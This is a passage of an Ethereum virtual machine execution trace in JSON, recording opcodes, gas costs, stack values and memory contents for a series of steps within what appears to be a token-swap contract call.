000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8618,"op":"RETURNDATASIZE","gas":114020,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8619,"op":"PUSH1","gas":114018,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8621,"op":"NOT","gas":114015,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8622,"op":"PUSH1","gas":114012,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8624,"op":"DUP3","gas":114009,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8625,"op":"ADD","gas":114006,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8626,"op":"AND","gas":114003,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8627,"op":"DUP3","gas":114000,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8628,"op":"ADD","gas":113997,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x20","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8629,"op":"DUP1","gas":113994,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8630,"op":"PUSH1","gas":113991,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x180","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8632,"op":"MSTORE","gas":113988,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x180","0x180","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8633,"op":"POP","gas":113985,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8634,"op":"DUP2","gas":113983,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8635,"op":"ADD","gas":113980,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x20","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8636,"op":"SWAP1","gas":113977,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x160","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8637,"op":"PUSH2","gas":113974,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x180","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8640,"op":"SWAP2","gas":113971,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x180","0x160","0x21c6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8641,"op":"SWAP1","gas":113968,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x160","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8642,"op":"PUSH2","gas":113965,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8645,"op":"JUMP","gas":113962,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b